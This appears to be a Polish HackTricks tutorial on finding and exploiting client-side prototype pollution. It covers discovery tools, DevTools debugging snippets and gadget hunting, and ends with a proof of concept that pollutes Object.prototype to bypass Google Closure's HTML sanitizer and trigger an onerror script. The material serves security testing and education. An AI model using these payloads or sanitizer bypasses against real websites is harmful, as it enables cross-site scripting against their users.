Client Side Prototype Pollution

Wsparcie dla HackTricks

Odkrywanie za pomocą automatycznych narzędzi

Narzędzia https://github.com/dwisiswant0/ppfuzz, https://github.com/kleiton0x00/ppmap i https://github.com/kosmosec/proto-find mogą być używane do znajdowania podatności na zanieczyszczenie prototypu.

Ponadto, możesz również użyć rozszerzenia przeglądarki PPScan do automatycznego skanowania stron, które odwiedzasz w poszukiwaniu podatności na zanieczyszczenie prototypu.

Debugowanie, gdzie używana jest właściwość

// Stop debugger where 'potentialGadget' property is accessed
Object.defineProperty(Object.prototype,'potentialGadget', {__proto__:null, get(){
console.trace();
return 'test';
}})

Znalezienie przyczyny zanieczyszczenia prototypu

Gdy luka w zanieczyszczeniu prototypu zostanie zidentyfikowana przez którykolwiek z narzędzi, a kod nie jest zbyt skomplikowany, możesz znaleźć lukę, przeszukując słowa kluczowe takie jak location.hash, decodeURIComponent lub location.search w Narzędziach Dewelopera Chrome. Takie podejście pozwala na zlokalizowanie wrażliwej sekcji kodu JavaScript.

Dla większych i bardziej złożonych baz kodu, prostą metodą na odkrycie wrażliwego kodu są następujące kroki:

  1. Użyj narzędzia do zidentyfikowania luki i uzyskaj ładunek zaprojektowany do ustawienia właściwości w konstruktorze. Przykład podany przez ppmap może wyglądać następująco: constructor[prototype][ppmap]=reserved.

  2. Ustaw punkt przerwania na pierwszej linii kodu JavaScript, która zostanie wykonana na stronie. Odśwież stronę z ładunkiem, wstrzymując wykonanie w tym punkcie przerwania.

  3. Gdy wykonanie JavaScript jest wstrzymane, wykonaj następujący skrypt w konsoli JS. Ten skrypt zasygnalizuje, kiedy właściwość 'ppmap' zostanie utworzona, co pomoże w zlokalizowaniu jej pochodzenia:

function debugAccess(obj, prop, debugGet=true){

var origValue = obj[prop];

Object.defineProperty(obj, prop, {
get: function () {
if (debugGet)
debugger;
return origValue;
},
set: function(val) {
debugger;
origValue = val;
}
});

};

debugAccess(Object.prototype, 'ppmap')
  1. Wróć do zakładki Sources i wybierz „Wznów wykonywanie skryptu”. JavaScript będzie kontynuował wykonywanie, a właściwość 'ppmap' zostanie zanieczyszczona zgodnie z oczekiwaniami. Wykorzystanie podanego fragmentu ułatwia identyfikację dokładnej lokalizacji, w której właściwość 'ppmap' jest zanieczyszczona. Analizując Call Stack, można zaobserwować różne stosy, w których wystąpiło zanieczyszczenie.

Decydując, który stos zbadać, często warto celować w stosy związane z plikami bibliotek JavaScript, ponieważ zanieczyszczenie prototypu często występuje w tych bibliotekach. Zidentyfikuj odpowiedni stos, sprawdzając jego powiązanie z plikami bibliotek (widoczne po prawej stronie, podobnie jak na podanym obrazie). W scenariuszach z wieloma stosami, takimi jak te na liniach 4 i 6, logicznym wyborem jest stos na linii 4, ponieważ reprezentuje on początkowe wystąpienie zanieczyszczenia, a tym samym pierwotną przyczynę podatności. Kliknięcie na stos przeniesie cię do podatnego kodu.

Znajdowanie gadżetów skryptowych

Gadżet to kod, który będzie nadużywany po odkryciu podatności PP.

Jeśli aplikacja jest prosta, możemy szukać słów kluczowych takich jak srcdoc/innerHTML/iframe/createElement i przeglądać kod źródłowy, aby sprawdzić, czy prowadzi do wykonania javascriptu. Czasami wspomniane techniki mogą w ogóle nie znaleźć gadżetów. W takim przypadku czysta analiza kodu źródłowego ujawnia kilka ciekawych gadżetów, jak w poniższym przykładzie.

Przykład znajdowania gadżetu PP w kodzie biblioteki Mithil

Sprawdź ten artykuł: https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/

Rekompilacja ładunków dla podatnych bibliotek

Ominięcie sanitariuszy HTML za pomocą PP

To badanie pokazuje gadżety PP do użycia w celu ominięcia sanitizacji zapewnianej przez niektóre biblioteki sanitariuszy HTML:

  • sanitize-html

  • dompurify

  • Closure

<!-- from https://research.securitum.com/prototype-pollution-and-bypassing-client-side-html-sanitizers/ -->
<script>
Object.prototype['* ONERROR'] = 1;
Object.prototype['* SRC'] = 1;
</script>
<script src=https://google.github.io/closure-library/source/closure/goog/base.js></script>
<script>
goog.require('goog.html.sanitizer.HtmlSanitizer');
goog.require('goog.dom');
</script>
<body>
<script>
const html = '<img src onerror=alert(1)>';
const sanitizer = new goog.html.sanitizer.HtmlSanitizer();
const sanitized = sanitizer.sanitize(html);
const node = goog.dom.safeHtmlToNode(sanitized);

document.body.append(node);
</script>

Odniesienia

Wsparcie HackTricks

Last updated